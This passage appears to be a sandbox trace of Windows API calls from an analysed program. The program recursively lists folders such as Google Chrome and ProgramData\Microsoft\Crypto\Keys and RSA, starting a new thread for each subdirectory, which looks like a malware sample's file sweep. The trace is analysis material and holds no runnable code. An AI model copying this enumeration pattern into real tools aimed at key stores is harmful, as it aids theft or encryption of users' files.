BaseAddress=0x8f10c8) returned 1 [0140.082] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0e28) returned 1 Thread: id = 1684 os_tid = 0x684 [0139.827] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3ea0 [0139.827] wcscpy (in: _Dest=0x8e3ea0, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0139.827] wcscat (in: _Dest=0x8e3ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\" [0139.827] wcscat (in: _Dest=0x8e3ea0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\*" [0139.827] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907eb0 [0139.827] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.830] wcscmp (_String1=".", _String2=".") returned 0 [0139.830] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.830] wcscmp (_String1="..", _String2=".") returned 1 [0139.830] wcscmp (_String1="..", _String2="..") returned 0 [0139.830] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9fea70e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fea70e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1 [0139.830] wcscmp (_String1="Application", _String2=".") returned 1 [0139.830] wcscmp (_String1="Application", _String2="..") returned 1 [0139.830] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1138 [0139.830] wcscpy (in: _Dest=0x8f1138, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0139.830] wcscat (in: _Dest=0x8f1138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\" [0139.830] wcscat (in: _Dest=0x8f1138, _Source="Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0139.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0139.831] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9fea70e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fea70e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0139.831] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0139.832] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907eb0) returned 1 [0139.832] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ea0) returned 1 [0139.832] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4000) returned 1 Thread: id = 1685 os_tid = 0x688 [0139.833] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90ea78 [0139.833] wcscpy (in: _Dest=0x90ea78, _Source="C:\\Program Files (x86)\\Google\\CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0139.833] wcscat (in: _Dest=0x90ea78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\") returned="C:\\Program Files (x86)\\Google\\CrashReports\\" [0139.833] wcscat (in: _Dest=0x90ea78, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\*") returned="C:\\Program Files (x86)\\Google\\CrashReports\\*" [0139.833] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907eb0 [0139.833] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.833] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907eb0) returned 1 [0139.833] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea78) returned 1 [0139.833] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8febe8) returned 1 Thread: id = 1686 os_tid = 0x6b0 [0139.834] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4000 [0139.834] wcscpy (in: _Dest=0x8e4000, _Source="C:\\ProgramData\\Microsoft\\Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0139.834] wcscat (in: _Dest=0x8e4000, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\" [0139.834] wcscat (in: _Dest=0x8e4000, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\*" [0139.835] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907eb0 [0139.835] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.835] wcscmp (_String1=".", _String2=".") returned 0 [0139.835] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.835] wcscmp (_String1="..", _String2=".") returned 1 [0139.835] wcscmp (_String1="..", _String2="..") returned 0 [0139.835] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0139.835] wcscmp (_String1="Client", _String2=".") returned 1 [0139.835] wcscmp (_String1="Client", _String2="..") returned 1 [0139.835] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8febe8 [0139.835] wcscpy (in: _Dest=0x8febe8, _Source="C:\\ProgramData\\Microsoft\\Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0139.835] wcscat (in: _Dest=0x8febe8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\" [0139.835] wcscat (in: _Dest=0x8febe8, _Source="Client" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client" [0139.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8febe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0139.837] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0139.837] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0139.837] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907eb0) returned 1 [0139.837] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4000) returned 1 [0139.837] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 Thread: id = 1687 os_tid = 0x6a8 [0139.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x44) returned 0x8f91e8 [0139.841] wcscpy (in: _Dest=0x8f91e8, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0139.841] wcscat (in: _Dest=0x8f91e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0139.841] wcscat (in: _Dest=0x8f91e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\*" [0139.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907eb0 [0139.842] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942130 [0141.182] wcscmp (_String1=".", _String2=".") returned 0 [0141.182] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.186] wcscmp (_String1="..", _String2=".") returned 1 [0141.186] wcscmp (_String1="..", _String2="..") returned 0 [0141.186] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0141.186] wcscmp (_String1="DSS", _String2=".") returned 1 [0141.186] wcscmp (_String1="DSS", _String2="..") returned 1 [0141.186] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f95f8 [0141.186] wcscpy (in: _Dest=0x8f95f8, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0141.186] wcscat (in: _Dest=0x8f95f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0141.186] wcscat (in: _Dest=0x8f95f8, _Source="DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0143.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f95f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc [0143.287] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0143.287] wcscmp (_String1="Keys", _String2=".") returned 1 [0143.287] wcscmp (_String1="Keys", _String2="..") returned 1 [0143.287] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e4058 [0143.287] wcscpy (in: _Dest=0x8e4058, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0143.287] wcscat (in: _Dest=0x8e4058, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0143.287] wcscat (in: _Dest=0x8e4058, _Source="Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys" [0143.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8 [0143.288] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0143.288] wcscmp (_String1="RSA", _String2=".") returned 1 [0143.288] wcscmp (_String1="RSA", _String2="..") returned 1 [0143.288] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f95a8 [0143.288] wcscpy (in: _Dest=0x8f95a8, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0143.288] wcscat (in: _Dest=0x8f95a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\" [0143.288] wcscat (in: _Dest=0x8f95a8, _Source="RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0143.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f95a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc [0143.289] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x907eb0 | out: lpFindFileData=0x907eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0143.289] FindClose (in: hFindFile=0x942130 | out: hFindFile=0x942130) returned 1 [0143.290] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907eb0) returned 1 [0143.290] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0143.290] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 Thread: id = 1688 os_tid = 0x6bc [0139.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4000 [0139.842] wcscpy (in: _Dest=0x8e4000, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0139.842] wcscat (in: _Dest=0x8e4000, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0139.842] wcscat (in: _Dest=0x8e4000, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\*" [0139.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908118 [0139.842] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x908118 | out: lpFindFileData=0x908118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f10 [0141.600] wcscmp (_String1=".", _String2=".") returned 0 [0141.600] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x908118 | out: lpFindFileData=0x908118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.600] wcscmp (_String1="..", _String2=".") returned 1 [0141.600] wcscmp (_String1="..", _String2="..") returned 0 [0141.600] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x908118 | out: lpFindFileData=0x908118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0141.600] wcscmp (_String1="Device", _String2=".") returned 1 [0141.600] wcscmp (_String1="Device", _String2="..") returned 1 [0141.600] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90ed50 [0141.600] wcscpy (in: _Dest=0x90ed50, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0141.600] wcscat (in: _Dest=0x90ed50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0141.600] wcscat (in: _Dest=0x90ed50, _Source="Device" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device" [0142.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ed50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0142.788] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x908118 | out: lpFindFileData=0x908118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0142.788] wcscmp (_String1="Task", _String2=".") returned 1 [0142.788] wcscmp (_String1="Task", _String2="..") returned 1 [0142.788] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff128 [0142.788] wcscpy (in: _Dest=0x8ff128, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0142.788] wcscat (in: _Dest=0x8ff128, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0142.788] wcscat (in: _Dest=0x8ff128, _Source="Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0142.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8ff128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0142.789] FindNextFileW (in: hFindFile=0x8d9f10, lpFindFileData=0x908118 | out: lpFindFileData=0x908118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0142.789] FindClose (in: hFindFile=0x8d9f10 | out: hFindFile=0x8d9f10) returned 1 [0142.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x908118) returned 1 [0142.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4000) returned 1 [0142.790] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4108) returned 1 Thread: id = 1689 os_tid = 0x5f8 [0139.843] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e3ea0 [0139.843] wcscpy (in: _Dest=0x8e3ea0, _Source="C:\\ProgramData\\Microsoft\\DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0139.843] wcscat (in: _Dest=0x8e3ea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\" [0139.843] wcscat (in: _Dest=0x8e3ea0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\*" [0139.843] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908380 [0139.843] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da290 [0141.602] wcscmp (_String1=".", _String2=".") returned 0 [0141.602] FindNextFileW (in: hFindFile=0x8da290, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.602] wcscmp (_String1="..", _String2=".") returned 1 [0141.602] wcscmp (_String1="..", _String2="..") returned 0 [0141.602] FindNextFileW (in: hFindFile=0x8da290, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, 